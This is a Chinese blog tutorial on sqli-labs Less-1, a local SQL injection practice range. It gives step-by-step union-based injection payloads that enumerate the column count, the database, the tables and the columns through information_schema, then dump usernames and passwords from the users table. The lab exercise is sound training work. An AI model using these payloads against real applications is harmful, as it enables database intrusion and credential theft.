SQL注入less-1

一、启动SQL注入的靶场

1、启动phpstudy

注:phpstudy默认的php版本为7.x,想要成功的搭建靶场,需要把php版本改为5.x

2、输入127地址加文件名

进入此界面后点击setup就行

3、进入less-1的关卡

靶场搭建成功

二、查看less-1的代码

注:此代码我是进行了修改的

三、创建数据库

这是我自己创建的一个数据库,便于操作  

四、进行SQL注入

1、url中输入id=1进行查询

能查出当前数据表的第一个数据。

2、用union查询当前数据表的数据库

可以看到当前数据库为security

注:使用union联合查询必须知道当前数据表的列数,此处我写的select 1,database(),3 --+,源代码是select 1,2,3 -- +代表三列

(1)使用order by查询数据表的列数

输入存在的列数时,网页上不会显示黄色字体,代表有当前列数;当输入的是超过当前数据表的列数时,就会弹出黄色字体,如上图所示

3、查询用户密码所在的表名

mysql中为我们提供了自带的库,可以通过这几个数据库去查询需要的表名

其中是,mysql、information_schema、performance_schema、sys这几个数据库是官方自带的

我们要用的是information_schema这个数据库

进入此数据库中后show一下他所有的表,可以看到里面有一个tables的表,desc一下

就出现了table_name,这里面就存储着所有数据库的所有表名,table_schema里存储的是数据库名

因此我们在知道了数据库名的情况下,也知道了表名存储的地方就可以查出我们需要的数据库中的所有表名了

此处,我们就找到了users这个我们需要的数据表了

在php?后输入命令:id = -1' union select 1,2,table_name from information_schema.tables where table_schema = "security" --+

就得到一下画面,但这个方法只能显示security这个数据库中的一个表名

所以我们要使用group_concat()函数来把我们要查找的数据转成一列输出

id = -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = "security" --+

就看到了我们需要的表名users

知道了数据库的名字,知道需要的表名,最后只要再知道列名就可以查到我们想要的数据了

也是再information_schema这个数据库中有一张表COLUMNS,desc一下

刚好里面有列名、表名、和数据库名

id = -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name =  "users" --+

就可以查出列名了

知道表名和列名后,就可以查到想要的数据了

id = -1' union select 1,2,group_concat(username,0x3a,password) from users;

  • 11
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值